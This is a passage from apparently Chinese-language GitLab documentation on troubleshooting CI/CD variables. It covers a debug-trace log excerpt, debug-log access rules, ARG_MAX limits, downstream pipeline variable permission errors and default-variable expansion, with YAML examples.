elines,custom_file_templates,custom_file_templates_for_namespace,custom_project_templates,custom_prometheus_metrics,cycle_analytics_for_groups,db_load_balancing,default_project_deletion_protection,dependency_proxy,deploy_board,design_management,email_additional_text,extended_audit_events,external_authorization_service_api_management,feature_flags,file_locks,geo,github_integration,group_allowed_email_domains,group_project_templates,group_saml,issues_analytics,jira_dev_panel_integration,ldap_group_sync_filter,merge_pipelines,merge_request_performance_metrics,merge_trains,metrics_reports,multiple_approval_rules,multiple_group_issue_boards,object_storage,operations_dashboard,packages,productivity_analytics,project_aliases,protected_environments,reject_unsigned_commits,required_ci_templates,scoped_labels,service_desk,smartcard_auth,group_timelogs,type_of_work_analytics,unprotection_restrictions,ci_project_subscriptions,container_scanning,dast,dependency_scanning,epics,group_ip_restriction,incident_management,insights,license_management,personal_access_token_expiration_policy,pod_logs,prometheus_alerts,report_approver_rules,sast,security_dashboard,tracing,web_ide_terminal 67++ GITLAB_FEATURES=audit_events,burndown_charts,code_owners,contribution_analytics,description_diffs,elastic_search,group_bulk_edit,group_burndown_charts,group_webhooks,issuable_default_templates,issue_weights,jenkins_integration,ldap_group_sync,member_lock,merge_request_approvers,multiple_issue_assignees,multiple_ldap_servers,multiple_merge_request_assignees,protected_refs_for_users,push_rules,related_issues,repository_mirrors,repository_size_limit,scoped_issue_board,usage_quotas,wip_limits,adjourned_deletion_for_projects_and_groups,admin_audit_log,auditor_user,batch_comments,blocking_merge_requests,board_assignee_lists,board_milestone_lists,ci_cd_projects,cluster_deployments,code_analytics,code_owner_approval_required,commit_committer_check,cross_project_pipelines,custom_file_templates,custom_file_templates_for_namespace,custom_project_templates,custom_prometheus_metrics,cycle_analytics_for_groups,db_load_balancing,default_project_deletion_protection,dependency_proxy,deploy_board,design_management,email_additional_text,extended_audit_events,external_authorization_service_api_management,feature_flags,file_locks,geo,github_integration,group_allowed_email_domains,group_project_templates,group_saml,issues_analytics,jira_dev_panel_integration,ldap_group_sync_filter,merge_pipelines,merge_request_performance_metrics,merge_trains,metrics_reports,multiple_approval_rules,multiple_group_issue_boards,object_storage,operations_dashboard,packages,productivity_analytics,project_aliases,protected_environments,reject_unsigned_commits,required_ci_templates,scoped_labels,service_desk,smartcard_auth,group_timelogs,type_of_work_analytics,unprotection_restrictions,ci_project_subscriptions,cluster_health,container_scanning,dast,dependency_scanning,epics,group_ip_restriction,incident_management,insights,license_management,personal_access_token_expiration_policy,pod_logs,prometheus_alerts,report_approver_rules,sast,security_dashboard,tracing,web_ide_terminal 68++ export CI_PROJECT_ID=17893 69++ CI_PROJECT_ID=17893 70++ export CI_PROJECT_NAME=ci-debug-trace 71++ CI_PROJECT_NAME=ci-debug-trace 72...

访问调试日志#

调试日志的访问权限仅限于 至少具有开发者角色 的用户。角色较低的用户无法在使用变量启用调试日志时查看日志:

如果您将 CI_DEBUG_TRACE 添加为 runner 的本地变量,调试日志将生成并对所有访问作业日志的用户可见。runner 不会检查权限级别,因此您应该只在极狐GitLab 中使用此变量。

“参数列表太长”#

当为作业定义的所有 CI/CD 变量的组合长度超过作业执行所在 shell 施加的限制时,会出现此问题。这包括预定义和用户定义变量的名称和值。此限制通常被称为 ARG_MAX,且依赖于 shell 和操作系统。当单个 文件类型 变量的内容超过 ARG_MAX 时,也会出现此问题。

作为解决方法,您可以:

  • 使用 文件类型 CI/CD 变量来处理可能的较大环境变量。
  • 如果单个大变量大于 ARG_MAX,请尝试使用 安全文件,或通过其他机制将文件带到作业中。

下游流水线中的 Insufficient permissions to set pipeline variables 错误#

当触发下游流水线时,您可能会意外地遇到此错误:

plaintext
Failed - (downstream pipeline can not be created, Insufficient permissions to set pipeline variables)

当下游项目具有 受限的流水线变量 且触发作业:

  • 定义了变量时。示例:

    yaml
    trigger-job: variables: VAR_FOR_DOWNSTREAM: "test" trigger: my-group/my-project
  • 从顶级 variables 部分定义的 默认变量 接收变量时。示例:

    yaml
    variables: DEFAULT_VAR: "test" trigger-job: trigger: my-group/my-project

在触发作业中传递给下游流水线的变量是 流水线变量,因此解决方法是:

默认变量不会在同名作业变量中展开#

您不能在同名作业变量中使用默认变量的值。只有当作业没有定义同名变量时,默认变量才可用于作业。如果作业具有同名变量,则作业的变量优先,默认变量在作业中不可用。

例如,这两个样本是等效的:

  • 在此样本中,$MY_VAR 没有值,因为它没有在任何地方定义:

    yaml
    Job-with-variable: variables: MY_VAR: $MY_VAR script: echo "Value is '$MY_VAR'"
  • 在此样本中,$MY_VAR 没有值,因为同名的默认变量在作业中不可用:

    yaml
    1variables: 2 MY_VAR: "Default value" 3 4Job-with-same-name-variable: 5 variables: 6 MY_VAR: $MY_VAR 7 script: echo "Value is '$MY_VAR'"

在这两种情况下,echo 命令输出 Value is '$MY_VAR'

一般来说,您应该直接在作业中使用默认变量,而不是将其值重新分配给新变量。如果需要这样做,请使用不同名称的变量。例如:

yaml
1variables: 2 MY_VAR1: "Default value1" 3 MY_VAR2: "Default value2" 4 5overwrite-same-name: 6 variables: 7 MY_VAR2_FROM_DEFAULTS: $MY_VAR2 8 script: echo "Values are '$MY_VAR1' and '$MY_VAR2_FROM_DEFAULTS'"